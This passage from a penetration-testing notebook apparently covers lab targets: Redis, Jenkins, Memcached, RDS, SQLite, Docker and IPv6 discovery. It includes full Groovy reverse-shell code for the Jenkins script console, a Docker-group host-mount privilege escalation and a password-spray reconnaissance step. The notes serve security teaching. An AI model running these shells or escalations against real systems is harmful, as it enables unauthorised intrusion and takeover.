|   Role: master 
|   Bind addresses:  
|     0.0.0.0 
|   Active channels:  
|     notifications 
|   Client connections:  
|     127.0.0.1 
|_    192.168.88.2 
MAC Address: 02:42:C0:A8:58:03 (Unknown) 
```

**Connect:**

```
root@attackdefense:~# redis-cli -h 192.168.88.3 
192.168.88.3:6379>  
```

### **Commands**

**INFO**

```
192.168.88.3:6379> INFO 
# Server 
redis_version:5.0.4 
redis_git_sha1:00000000 
redis_git_dirty:0 
redis_build_id:21338beea4f0313b 
redis_mode:standalone 
os:Linux 4.15.0-64-generic x86_64 
arch_bits:64 
multiplexing_api:epoll 
atomicvar_api:atomic-builtin 
gcc_version:5.4.0 
process_id:9 
run_id:714b6c5d045a98cd26704486c54d0d9ce65cefd2 
tcp_port:6379 
uptime_in_seconds:270 
uptime_in_days:0 
hz:10 
configured_hz:10 
lru_clock:12157403 
executable:/redis-server 
config_file: 
 

# Clients 
connected_clients:3 
client_recent_max_input_buffer:2 
client_recent_max_output_buffer:0 
blocked_clients:0 
 

# Memory 
used_memory:897984 
used_memory_human:876.94K 
used_memory_rss:5754880 
used_memory_rss_human:5.49M 
used_memory_peak:897984 
used_memory_peak_human:876.94K 
used_memory_peak_perc:100.00% 
used_memory_overhead:875058 
used_memory_startup:790992 
used_memory_dataset:22926 
used_memory_dataset_perc:21.43% 
allocator_allocated:1480656 
allocator_active:1773568 
allocator_resident:10006528 
total_system_memory:101373841408 
total_system_memory_human:94.41G 
used_memory_lua:37888 
used_memory_lua_human:37.00K 
used_memory_scripts:0 
used_memory_scripts_human:0B 
number_of_cached_scripts:0 
maxmemory:0 
maxmemory_human:0B 
maxmemory_policy:noeviction 
allocator_frag_ratio:1.20 
allocator_frag_bytes:292912 
allocator_rss_ratio:5.64 
allocator_rss_bytes:8232960 
rss_overhead_ratio:0.58 
rss_overhead_bytes:-4251648 
mem_fragmentation_ratio:6.72 
mem_fragmentation_bytes:4898896 
mem_not_counted_for_evict:0 
mem_replication_backlog:0 
mem_clients_slaves:0 
mem_clients_normal:83538 
mem_aof_buffer:0 
mem_allocator:jemalloc-5.1.0 
active_defrag_running:0 
lazyfree_pending_objects:0 
 

# Persistence 
loading:0 
rdb_changes_since_last_save:19 
rdb_bgsave_in_progress:0 
rdb_last_save_time:1572438221 
rdb_last_bgsave_status:ok 
rdb_last_bgsave_time_sec:-1 
rdb_current_bgsave_time_sec:-1 
rdb_last_cow_size:0 
aof_enabled:0 
aof_rewrite_in_progress:0 
aof_rewrite_scheduled:0 
aof_last_rewrite_time_sec:-1 
aof_current_rewrite_time_sec:-1 
aof_last_bgrewrite_status:ok 
aof_last_write_status:ok 
aof_last_cow_size:0 
 

# Stats 
total_connections_received:7 
total_commands_processed:116 
instantaneous_ops_per_sec:0 
total_net_input_bytes:8971 
total_net_output_bytes:29519 
instantaneous_input_kbps:0.00 
instantaneous_output_kbps:0.00 
rejected_connections:0 
sync_full:0 
sync_partial_ok:0 
sync_partial_err:0 
expired_keys:0 
expired_stale_perc:0.00 
expired_time_cap_reached_count:0 
evicted_keys:0 
keyspace_hits:0 
keyspace_misses:0 
pubsub_channels:1 
pubsub_patterns:0 
latest_fork_usec:0 
migrate_cached_sockets:0 
slave_expires_tracked_keys:0 
active_defrag_hits:0 
active_defrag_misses:0 
active_defrag_key_hits:0 
active_defrag_key_misses:0 
 

# Replication 
role:master 
connected_slaves:0 
master_replid:666290c08e732a058bafbb67c56019e6b5d46949 
master_replid2:0000000000000000000000000000000000000000 
master_repl_offset:0 
second_repl_offset:-1 
repl_backlog_active:0 
repl_backlog_size:1048576 
repl_backlog_first_byte_offset:0 
repl_backlog_histlen:0 
 

# CPU 
used_cpu_sys:0.227695 
used_cpu_user:0.218313 
used_cpu_sys_children:0.000000 
used_cpu_user_children:0.000000 
```

**Show KEYS**

**`KEYS *`**

Retrieve a key:

`get FLAG`

**Resources:**

[**https://averagesecurityguy.github.io/code/pentest/2015/09/17/pentesting-redis-servers/**](https://averagesecurityguy.github.io/code/pentest/2015/09/17/pentesting-redis-servers/)


# 8080 - Jenkins

Jenkins is a free and open source automation server. It helps automate the parts of software development related to building, testing, and deploying, facilitating continuous integration and continuous delivery.

## Enumeration

Jenkins run by default on port 8080

## Exploitation

### Basic command execution (Authenticated)

* &#x20;Press 'Create a job'
* Choose a name and  Create new freestyle project&#x20;
* In the `build` section press `Execute shell`
* Enter the command you would like (based on OS)
* Press 'Save'
* On the project dashboard go to `Build now`
* Press the newly created number under 'Build History'
* Press `Console houtput`
* See output of the command.
* To execute a different command press 'back to project' and then 'configure'

### Groovy Script

Jenkins features a nice Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins master runtime or in the runtime on agents.

#### Reverse Shell from the web interface

At Jenkins Dashboard go to `Manage Jenkins` and then select `Script Console`, run the following code for reverse shell:

For windows:

```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

#### Linux:

```
String host="localhost";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

#### Executing commands local:

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

#### Metasploit

uses the Jenkins-CI Groovy script console to execute OS commands using Java:

`use exploit/multi/http/jenkins_script_console`


# 11211 - Memcached

Memcached is a general-purpose distributed memory-caching system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an exte

**Nmap**:&#x20;

```
root@attackdefense:~# nmap --script memcached-info -p 11211 192.170.149.3 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-30 10:54 UTC 
Nmap scan report for target-1 (192.170.149.3) 
Host is up (0.000053s latency). 
 
PORT      STATE SERVICE 
11211/tcp open  memcache 
| memcached-info:  
|   Process ID: 7 
|   Uptime: 1037 seconds 
|   Server time: 2019-10-30T10:54:06 
|   Architecture: 64 bit 
|   Used CPU (user): 0.101069 
|   Used CPU (system): 0.148907 
|   Current connections: 3 
|   Total connections: 9 
|   Maximum connections: 2147 
|   TCP Port: 11211 
|   UDP Port: 0 
|_  Authentication: no 

MAC Address: 02:42:C0:AA:95:03 (Unknown) 
```

**Connecting:**

`root@attackdefense:~# nc 192.170.149.3 11211`&#x20;

**You can query the current traffic statistics using the command**&#x20;

`stats`&#x20;

**View items:**&#x20;

`stats items`&#x20;

Example:

```
ITEM username [5 b; 0 s] 
ITEM email [18 b; 0 s] 
ITEM name [4 b; 0 s] 
END 
stats cachedump 5 0 
ITEM secret [142 b; 0 s] 
END 
stats cachedump 25 0 
ITEM image [19514 b; 0 s] 
END 
```

**view key:**&#x20;

```
get secret 
VALUE secret 0 142 
(dp0 
S'flag-part-1' 
p1 
S'886a1cb' 
p2 
sS'flag-part-2' 
p3 
S'00dfaa588' 
```

## **memcdump**

memdump dumps a list of "keys" from all servers that it is told to fetch from. Because memcached does not guarentee to provide all keys it is not possible to get a complete "dump".

```
root@attackdefense:~# memcdump --server 192.170.149.3 
maxUsers 
last-update 
maintainer 
```

## memcached Cheat Sheet

<https://lzone.de/cheat-sheet/memcached>&#x20;


# RDS

RDS can be utilized to provide users with remote access to an entire desktop or just specific applications and programs required for their day-to-day work. RDS is server-based and allows for multiple

**Password Spraying RDS**&#x20;

In order to perform a password spraying attack we first need the internal domain name of the target. This can be found quickly in the RDS logon page source as the WorkSpaceID.&#x20;

`curl -s -insecure https://192.168.88.150/RDWeb/Pages/en-US/Login.aspx?returnUrl=/RDWeb/Pages/en-US/Default.aspx`

grep for 'WorkSpaceID'

**Source**:

<https://medium.com/vartai-security/attack-chain-series-remote-access-service-compromise-part-1-rds-e984101c78b7>


# SQLite

SQLite is a relational database management system contained in a C library. In contrast to many other database management systems

SQLite is not a client–server database engine. Rather, it is embedded into the end program.

open sqlite database using sqlite3:&#x20;

`student@attackdefense:~$ sqlite3 data.db`&#x20;

**display tables:**&#x20;

```
sqlite> .tables 
FLAG  app
```

&#x20;**Select from table:**&#x20;

```
sqlite> SELECT * FROM FLAG; 
44dd29a07a0086948ad19ad6376db7d6 
```

**display table columns names:**&#x20;

```
sqlite> PRAGMA table_info(FLAG); 
0|ID|INT|1||1 
1|NAME|TEXT|1||0 
2|AGE|INT|1||0 
3|ADDRESS|CHAR(50)|0||0 
```

**exit sqlite3:**&#x20;

```
sqlite> .quit 
```

**Count columns:**&#x20;

```
sqlite> SELECT count(*) FROM employees; 
8 
```

**Filter columns:**&#x20;

```
sqlite> SELECT * FROM artists WHERE Name LIKE 'The%'; 
137|The Black Crowes 
138|The Clash 
139|The Cult 
140|The Doors 
141|The Police 
142|The Rolling Stones 
143|The Tea Party 
144|The Who 
156|The Office 
174|The Postal Service 
176|The Flaming Lips 
200|The Posies 
247|The King's Singers 
259|The 12 Cellists of The Berlin Philharmonic 
```

## **Resource**:&#x20;

Can practice in AttackDencesLabs&#x20;


# Docker

## Enumeration

View running containers:

`docker ps`

find local docker images:

`docker image ls`

Check if we are inside a container by running (if the file exists we are inside a docker):

`ls -la /.dockerenv`

## Run container

Run a container from the Alpine version 3.9 image, name the running container “web” and expose port 5000 externally, mapped to port 80 inside the container:

```
docker container run - is the new command.
docker run - is still the old one, which will be deprecated soon, I guess.
```

`docker container run --name web -p 5000:80 alpine:3.9`

List the running containers (add --all to include stopped containers)&#x20;

`docker container ls`

Run docker in tty mode:

```
docker run -it debian:buster /bin/bash
```

-i, --interactive # attach stdin (interactive)&#x20;

-t, --tty # pseudo-tty

## Privilege escalation

If we have a user which is part of the `docker` group we can mount the file system to the docker and see all files

mount the file system:

`docker run -v /:/hostOS -i -t [image name] bash`

* `-v /:/hostOS` - mount the host’s `/` as `/hostOS` inside the image
* `-i` - interactive
* `-t` - create a tty
* `[image name]` - the name of the image to run, got from `docker ps above`
* `bash` - command to run


# IPV6

### Basics

Address are split into:&#x20;

* Unicast&#x20;
  * Global - similar to IPv4 public IP addresses. They have a prefix of 2000::/3&#x20;
  * Unique local - similar to IPv4 private addresses. There addresses have a prefix of FD00::/8 or FC00::/7&#x20;
  * Link  local - there addresses are used for sending packet over the local subnet. There addresses have a prefix of FE80::/10.&#x20;
* Anycast&#x20;
* Multicast  - prefix with ff00::/8&#x20;

Packets sent to ::1 are sent to localhost&#x20;

Packets sent to ::0 are sent on all interfaces.&#x20;

Designated multicast address (just a few for example):&#x20;

| Address | Scope | Use           |
| ------- | ----- | ------------- |
| ff02::1 | Link  | All nodes     |
| ff02::2 | Link  | All routers   |
| ff02::5 | Link  | OSPF routers  |
| ff02::a | Link  | EIGRP routers |

From <<https://github.com/0xbharath/talks/blob/master/pentesting_ipv6/pentesting_IPv6.md>> &#x20;

### IPv6 Address Types

| Prefix         | Example                                  | Designation and Explanation                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | IPv4 Equivalent                                                                                                   |
| -------------- | ---------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------- |
| ::/128         |                                          | <p><strong>Unspecified</strong> </p><p>This address may only be used as a source address by an initialising host before it has learned its own address.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 0.0.0.0                                                                                                           |
| ::1/128        |                                          | <p><strong>Loopback</strong> <br>This address is used when a host talks to itself over IPv6. This often happens when one program sends data to another.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 127.0.0.1                                                                                                         |
| ::ffff/96      | ::ffff:192.0.2.47                        | <p><strong>IPv4-Mapped</strong></p><p>These addresses are used to embed IPv4 addresses in an IPv6 address. One use for this is in a dual stack transition scenario where IPv4 addresses can be mapped into an IPv6 address. See RFC 4038 for more details.</p>                                                                                                                                                                                                                                                                                                                                                              | There is no equivalent. However, the mapped IPv4 address can be looked up in the relevant RIR’s Whois database.   |
| fc00::/7       | fdf8:f53b:82e4::53                       | <p><strong>Unique Local Addresses (ULAs)</strong> <br>These addresses are reserved for local use in home and enterprise environments and are not public address space. These addresses might not be unique, and there is no formal address registration. Packets with these addresses in the source or destination fields are not intended to be routed on the public Internet but are intended to be routed within the enterprise or organisation. See RFC 4193 for more details.</p>                                                                                                                                      | Private, or RFC 1918 address space: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16                                       |
| fe80::/10      | fe80::200:5aee:feaa:20a2                 | <p><strong>Link-Local Addresses</strong> </p><p>These addresses are used on a single link or a non-routed common access network, such as an Ethernet LAN. They do not need to be unique outside of that link. Link-local addresses may appear as the source or destination of an IPv6 packet. Routers must not forward IPv6 packets if the source or destination contains a linklocal address. Link-local addresses may appear as the source or destination of an IPv6 packet. Routers must not forward IPv6 packets if the source or destination contains a linklocal address.</p>                                         |                                                                                                                   |
| 2001:0000::/32 | 2001:0000:4136:e378: 8000:63bf:3fff:fdd2 | <p><strong>Teredo</strong> <br>This is a mapped address allowing IPv6 tunneling through IPv4 NATs. The address is formed using the Teredo prefix, the server’s unique IPv4 address, flags describing the type of NAT, the obfuscated client port and the client IPv4 address, which is probably a private address. It is possible to reverse the process and identify the IPv4 address of the relay server, which can then be looked up in the relevant RIR’s Whois database. You can do this on the following webpage: <a href="http://www.potaroo.net/cgi-bin/ipv6addr"><http://www.potaroo.net/cgi-bin/ipv6addr></a></p> | No equivalent                                                                                                     |
| 2001:0002::/48 | 2001:0002:6c::430                        | <p><strong>Benchmarking</strong> <br>These addresses are reserved for use in documentation. They should not be used as source or destination addresses.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 198.18.0.0/15                                                                                                     |
| 2001:0010::/28 | 2001:10:240:ab::a                        | <p><strong>Orchid</strong> <br>These addresses are used for a fixed-term experiment. They should only be visible on an end-to-end basis and routers should not see packets using them as source or destination addresses.</p>                                                                                                                                                                                                                                                                                                                                                                                               | No equivalent                                                                                                     |
| 2002::/16      | 2002:cb0a:3cdd:1::1                      | <p><strong>6to4</strong> <br>A 6to4 gateway adds its IPv4 address to this 2002::/16, creating a unique /48 prefix. As the IPv4 address of the gateway router is used to compose the IPv6 prefix, it is possible to reverse the process and identify the IPv4 address, which can then be looked up in the relevant RIR’s Whois database. You can do this on the following webpage: <a href="http://www.potaroo.net/cgi-bin/ipv6addr"><http://www.potaroo.net/cgi-bin/ipv6addr></a></p>                                                                                                                                       | There is no equivalent but 192.88.99.0/24 has been reserved as the 6to4 relay anycast address prefix by the IETF. |
| 2001:db8::/32  | 2001:db8:8:4::2                          | <p><strong>Documentation</strong> <br>These addresses are used in examples and documentation. They should never be source or destination addresses.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 192.0.2.0/24 198.51.100.0/24 203.0.113.0/24                                                                       |
| 2000::/3       |                                          | <p><strong>Global Unicast</strong> <br>Other than the exceptions documented in this table, the operators of networks using these addresses can be found using the Whois servers of the RIRs listed in the registry at: <a href="http://www.iana.org/assignments/ipv6-"><http://www.iana.org/assignments/ipv6-></a> unicast-address-assignments</p>                                                                                                                                                                                                                                                                          | No equivalent single block                                                                                        |
| ff00::/8       | ff01:0:0:0:0:0:0:2                       | <p><strong>Multicast</strong> <br>These addresses are used to identify multicast groups. They should only be used as destination addresses, never as source addresses.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 224.0.0.0/4                                                                                                       |

### IPv6 Command Line Tools:&#x20;

* ping6- IPv6 ping tool&#x20;
* traceroute6- IPv6 tracing tool&#x20;
* tracepath6 – IPv6 tracing tool&#x20;
* ip -6 – For configuring/viewing IPv6 interfaces and routes&#x20;
* ipv6calc – IPv6 subnet calculator&#x20;
* tcpdump ip6 – packet sniffing on IPv6&#x20;
* snoop inet6 – packet sniffing on IPv6&#x20;

### IPv6 Subnet Size Reference Table

| <p>IPv6 CIDR S </p><p>Subnet </p> | Number of IPs                                     |
| --------------------------------- | ------------------------------------------------- |
| /128                              | 1                                                 |
| /127                              | 2                                                 |
| /126                              | 4                                                 |
| /125                              | 8                                                 |
| /124                              | 16                                                |
| /123                              | 32                                                |
| /122                              | 64                                                |
| /121                              | 128                                               |
| /120                              | 256                                               |
| /119                              | 512                                               |
| /118                              | 1,024                                             |
| /117                              | 2,048                                             |
| /116                              | 4,096                                             |
| /115                              | 8,192                                             |
| /114                              | 16,384                                            |
| /113                              | 32,768                                            |
| /112                              | 65,536                                            |
| /111                              | 131,072                                           |
| /110                              | 262,144                                           |
| /109                              | 524,288                                           |
| /108                              | 1,048,576                                         |
| /107                              | 2,097,152                                         |
| /106                              | 4,194,304                                         |
| /105                              | 8,388,608                                         |
| /104                              | 16,777,216                                        |
| /103                              | 33,554,432                                        |
| /102                              | 67,108,864                                        |
| /101                              | 134,217,728                                       |
| /100                              | 268,435,456                                       |
| /99                               | 536,870,912                                       |
| /98                               | 1,073,741,824                                     |
| /97                               | 2,147,483,648                                     |
| /96                               | 4,294,967,296                                     |
| /95                               | 8,589,934,592                                     |
| /94                               | 17,179,869,184                                    |
| /93                               | 34,359,738,368                                    |
| /92                               | 68,719,476,736                                    |
| /91                               | 137,438,953,472                                   |
| /90                               | 274,877,906,944                                   |
| /89                               | 549,755,813,888                                   |
| /88                               | 1,099,511,627,776                                 |
| /87                               | 2,199,023,255,552                                 |
| /86                               | 4,398,046,511,104                                 |
| /85                               | 8,796,093,022,208                                 |
| /84                               | 17,592,186,044,416                                |
| /83                               | 35,184,372,088,832                                |
| /82                               | 70,368,744,177,664                                |
| /81                               | 140,737,488,355,328                               |
| /80                               | 281,474,976,710,656                               |
| /79                               | 562,949,953,421,312                               |
| /78                               | 1,125,899,906,842,624                             |
| /77                               | 2,251,799,813,685,248                             |
| /76                               | 4,503,599,627,370,496                             |
| /75                               | 9,007,199,254,740,992                             |
| /74                               | 18,014,398,509,481,985                            |
| /73                               | 36,028,797,018,963,968                            |
| /72                               | 72,057,594,037,927,936                            |
| /71                               | 144,115,188,075,855,872                           |
| /70                               | 288,230,376,151,711,744                           |
| /69                               | 576,460,752,303,423,488                           |
| /68                               | 1,152,921,504,606,846,976                         |
| /67                               | 2,305,843,009,213,693,952                         |
| /66                               | 4,611,686,018,427,387,904                         |
| /65                               | 9,223,372,036,854,775,808                         |
| Residential – /64                 | 18,446,744,073,709,551,616                        |
| /63                               | 36,893,488,147,419,103,232                        |
| /62                               | 73,786,976,294,838,206,464                        |
| /61                               | 147,573,952,589,676,412,928                       |
| /60                               | 295,147,905,179,352,825,856                       |
| /59                               | 590,295,810,358,705,651,712                       |
| /58                               | 1,180,591,620,717,411,303,424                     |
| /57                               | 2,361,183,241,434,822,606,848                     |
| /56                               | 4,722,366,482,869,645,213,696                     |
| /55                               | 9,444,732,965,739,290,427,392                     |
| /54                               | 18,889,465,931,478,580,854,784                    |
| /53                               | 37,778,931,862,957,161,709,568                    |
| /52                               | 75,557,863,725,914,323,419,136                    |
| /51                               | 151,115,727,451,828,646,838,272                   |
| /50                               | 302,231,454,903,657,293,676,544                   |
| /49                               | 604,462,909,807,314,587,353,088                   |
| Business – /48                    | 1,208,925,819,614,629,174,706,176                 |
| /47                               | 2,417,851,639,229,258,349,412,352                 |
| /46                               | 4,835,703,278,458,516,698,824,704                 |
| /45                               | 9,671,406,556,917,033,397,649,408                 |
| /44                               | 19,342,813,113,834,066,795,298,816                |
| /43                               | 38,685,626,227,668,133,590,597,632                |
| /42                               | 77,371,252,455,336,267,181,195,264                |
| /41                               | 154,742,504,910,672,534,362,390,528               |
| /40                               | 309,485,009,821,345,068,724,781,056               |
| /39                               | 618,970,019,642,690,137,449,562,112               |
| /38                               | 1,237,940,039,285,380,274,899,124,224             |
| /37                               | 2,475,880,078,570,760,549,798,248,448             |
| /36                               | 4,951,760,157,141,521,099,596,496,896             |
| /35                               | 9,903,520,314,283,042,199,192,993,792             |
| /34                               | 19,807,040,628,566,084,398,385,987,584            |
| /33                               | 39,614,081,257,132,168,796,771,975,168            |
| ISP – /32                         | 79,228,162,514,264,337,593,543,950,336            |
| /31                               | 158,456,325,028,528,675,187,087,900,672           |
| /30                               | 316,912,650,057,057,350,374,175,801,344           |
| /29                               | 633,825,300,114,114,700,748,351,602,688           |
| /28                               | 1,267,650,600,228,229,401,496,703,205,376         |
| /27                               | 2,535,301,200,456,458,802,993,406,410,752         |
| /26                               | 5,070,602,400,912,917,605,986,812,821,504         |
| /25                               | 10,141,204,801,825,835,211,973,625,643,008        |
| /24                               | 20,282,409,603,651,670,423,947,251,286,016        |
| /23                               | 40,564,819,207,303,340,847,894,502,572,032        |
| /22                               | 81,129,638,414,606,681,695,789,005,144,064        |
| /21                               | 162,259,276,829,213,363,391,578,010,288,128       |
| /20                               | 324,518,553,658,426,726,783,156,020,576,256       |
| /19                               | 649,037,107,316,853,453,566,312,041,152,512       |
| /18                               | 1,298,074,214,633,706,907,132,624,082,305,024     |
| /17                               | 2,596,148,429,267,413,814,265,248,164,610,048     |
| /16                               | 5,192,296,858,534,827,628,530,496,329,220,096     |
| /15                               | 10,384,593,717,069,655,257,060,992,658,440,192    |
| /14                               | 20,769,187,434,139,310,514,121,985,316,880,384    |
| /13                               | 41,538,374,868,278,621,028,243,970,633,760,768    |
| /12                               | 83,076,749,736,557,242,056,487,941,267,521,536    |
| /11                               | 166,153,499,473,114,484,112,975,882,535,043,072   |
| /10                               | 332,306,998,946,228,968,225,951,765,070,086,144   |
| /9                                | 664,613,997,892,457,936,451,903,530,140,172,288   |
| /8                                | 1,329,227,995,784,915,872,903,807,060,280,344,576 |

### IPv6 Subnet Reference Prefix Lengths

```
2402:9400:0000:0000:0000:0000:0000:0001 
XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX 
      ||| |||| |||| |||| |||| |||| |||| 
      ||| |||| |||| |||| |||| |||| |||128 
      ||| |||| |||| |||| |||| |||| ||124 
      ||| |||| |||| |||| |||| |||| |120 
      ||| |||| |||| |||| |||| |||| 116 
      ||| |||| |||| |||| |||| |||112 
      ||| |||| |||| |||| |||| ||108 
      ||| |||| |||| |||| |||| |104 
      ||| |||| |||| |||| |||| 100 
      ||| |||| |||| |||| |||96 
      ||| |||| |||| |||| ||92 
      ||| |||| |||| |||| |88 
      ||| |||| |||| |||| 84 
      ||| |||| |||| |||80 
      ||| |||| |||| ||76 
      ||| |||| |||| |72 
      ||| |||| |||| 68 
      ||| |||| |||64 
      ||| |||| ||60 
      ||| |||| |56 
      ||| |||| 52 
      ||| |||48 
      ||| ||44 
      ||| |40 
      ||| 36 
      ||32 
      |28 
      24 
```

Note: The IP address above is an IP address allocated to Crucial Paradigm.&#x20;

### Example of /64 Allocations:&#x20;

/64 IPv6 allocations are usually given to end users, who do not require any VLANs.  It allows auto configuration, or SLAAC so makes life a lot easier when configuring.&#x20;

It is fairly easy to calculate /64 allocations, and a subnet calculator is not required. In fact this is the case with assigning IPv6 allocations, it can be done fairly easily without any calculator (I’ll demonstrate this later in the reference sheet):&#x20;

```
2402:9400:1000:0::/64 
2402:9400:1000:1::/64 
2402:9400:1000:2::/64 
2402:9400:1000:3::/64 
2402:9400:1000:4::/64 
2402:9400:1000:5::/64 
2402:9400:1000:6::/64 
2402:9400:1000:7::/64 
2402:9400:1000:8::/64 
2402:9400:1000:9::/64 
2402:9400:1000:a::/64 
2402:9400:1000:b::/64 
2402:9400:1000:c::/64 
2402:9400:1000:e::/64 
2402:9400:1000:e::/64 
2402:9400:1000:f::/64 
2402:9400:1000:10::/64 
2402:9400:1000:11::/64 
```

Example of /48 Allocations:&#x20;

/48 allocations are usually provided to business, who require additional VLANs or may require the range to be split up.  Using a /48 allocation would allow them to do so.&#x20;

```
2402:9400:10::/48 
2402:9400:11::/48 
2402:9400:12::/48 
2402:9400:13::/48 
2402:9400:14::/48 
2402:9400:15::/48 
2402:9400:16::/48 
2402:9400:17::/48 
2402:9400:18::/48 
2402:9400:19::/48 
2402:9400:1a::/48 
2402:9400:1b::/48 
2402:9400:1c::/48 
2402:9400:1e::/48 
2402:9400:1f::/48 
2402:9400:20::/48 
```

### IPv6 Subnet Calculator NOT REQUIRED!&#x20;

In most cases a subnet calculator will not be required, since IPv6 using hex (hexadecimal) – and so long as the prefix length is a multiple of 4, it makes it quite easy.  For example (this is also where the table “IPv6 Subnet Reference IP Address” comes in a lot of handy above):&#x20;

```
2402:9400:1234:1234::/64 
2402:9400:1234:123X::/60 
2402:9400:1234:12XX::/56 
2402:9400:1234:1XXX::/52 
2402:9400:1234:XXXX::/48 
2402:9400:123X:XXXX::/44 
2402:9400:12XX:XXXX::/40 
```

### IPv6 Address Scopes

::/128 unspecified address&#x20;

::1/128 localhost&#x20;

fe80::/10 link local&#x20;

fc00::/7 unique local unicast  (RFC 4193)&#x20;

fc00::/8 centrally assigned by unkown, routed within a site (RFC 4193)&#x20;

fd00::/8 free for all, global ID must be generated randomly with pseudo-random algorithm, routed within a site (RFC 4193)&#x20;

ff00::/8 multicast, following after the prefix ff there are 4 bits for flags and 4 bits for the scope&#x20;

::ffff:0:0/96 IPv4 to IPv6 Address, eg: ::ffff:10.10.10.10 (RFC 4038)&#x20;

2000::/3 global unicast&#x20;

2001::/16 /32 subnets assigned to providers, they assign /48, /56 or /64 to the customer&#x20;

2001:db8::/32 reserved for use in documentation&#x20;

2001:678::/29 Provider Independent (PI) adresses and anycasting TLD nameservers&#x20;

2002::/16 6to4 scope, 2002:c058:6301:: is the 6to4 public router anycast (RFC 3068)&#x20;

### Interface Configuration Linux:&#x20;

`#ifconfig eth0 inet6 add 2402:9400:1234:1234::1/64`&#x20;

Configuring SLAAC (auto configuration) on Redhat/CentOS flavours of Linux: You can do this by enabling IPv6 on an interface which is already configured automatically on boot.&#x20;


# Scanning

Find your IPv6 and find other hosts

### Identifying your own address over IPv6&#x20;

`ip -6 addr show dev eth0`&#x20;

OR&#x20;

`ifconfig eth0 | grep "inet6"`&#x20;

### Discovering other hosts

#### **Discover router advertisement**

**Use metasploit:**

`auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement`

**Use linux utility:**

`sudo radvdump`

**Using atk6-dump\_router6:**

`atk6-dump_router6 eth0`

**Wireshark Router Solicitation:**

\``icmpv6.type==133`

**Wireshark Router** **advertisement:**

`icmpv6.type==134`

**tcpdump router advertisement**

`sudo tcpdump -vvvv -ttt -i eth1 icmp6 and 'ip6[40] = 134'`

```
15:43:49.484751 fe80::212:34ff:fe12:3450 > ff02::1: icmp6: router
� advertisement(chlim=64, router_ltime=30, reachable_time=0,
� retrans_time=0)(prefix info: AR valid_ltime=30, preffered_ltime=20,
� prefix=2002:0102:0304:1::/64)(prefix info: LAR valid_ltime=2592000,
� preffered_ltime=604800, prefix=2001:0db8:0:1::/64)(src lladdr:
� 0:12:34:12:34:50) (len 88, hlim 255)
Discover local hosts using IPv6
```

Router with link-local address "fe80::212:34ff:fe12:3450" send an advertisement to the all-node-on-link multicast address "ff02::1" containing two prefixes "2002:0102:0304:1::/64" (lifetime 30 s) and "2001:0db8:0:1::/64" (lifetime 2592000 s) including its own layer 2 MAC address "0:12:34:12:34:50".

**Using ping6**:

```
root@kali:~/Downloads# ping6 -I wlan0 -c 2 ip6-allnodes
ping6: Warning: source address might be selected on device other than wlan0. 
PING ff02::01(ff02::1) from :: wlan0: 56 data bytes 
64 bytes from fe80::3828:a4e:f629:cc7f%wlan0: icmp_seq=1 ttl=64 time=0.071 ms 
64 bytes from fe80::a2bd:cdff:fe37:8881%wlan0: icmp_seq=1 ttl=64 time=79.8 ms (DUP!) 
64 bytes from fe80::cd5:6ea0:cd5c:b11d%wlan0: icmp_seq=1 ttl=64 time=85.3 ms (DUP!) 
64 bytes from fe80::f87e:295f:1aed:1069%wlan0: icmp_seq=1 ttl=64 time=88.8 ms (DUP!) 
64 bytes from fe80::3828:a4e:f629:cc7f%wlan0: icmp_seq=2 ttl=64 time=0.118 ms  

--- ff02::01 ping statistics --- 
2 packets transmitted, 2 received, +3 duplicates, 0% packet loss, time 2ms 
rtt min/avg/max/mdev = 0.071/50.801/88.773/41.500 ms 
```

Note: `ip6-allnodes` is a alias to `ff02:01`

Or you can use on of the following options:

```
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

**Using ip:**

```
root@kali:~/Downloads# ip -6 neigh 
fe80::f87e:295f:1aed:1069 dev wlan0 lladdr 08:c5:e1:9b:fb:5f STALE 
fd9c:1db3:7210:0:a2bd:cdff:fe37:8880 dev wlan0 lladdr a0:bd:cd:37:88:81 router STALE 
fe80::cd5:6ea0:cd5c:b11d dev wlan0 lladdr 18:81:0e:57:8a:c9 STALE 
fe80::3828:a4e:f629:cc7f dev vmnet1 FAILED 
fe80::a2bd:cdff:fe37:8881 dev vmnet1 FAILED 
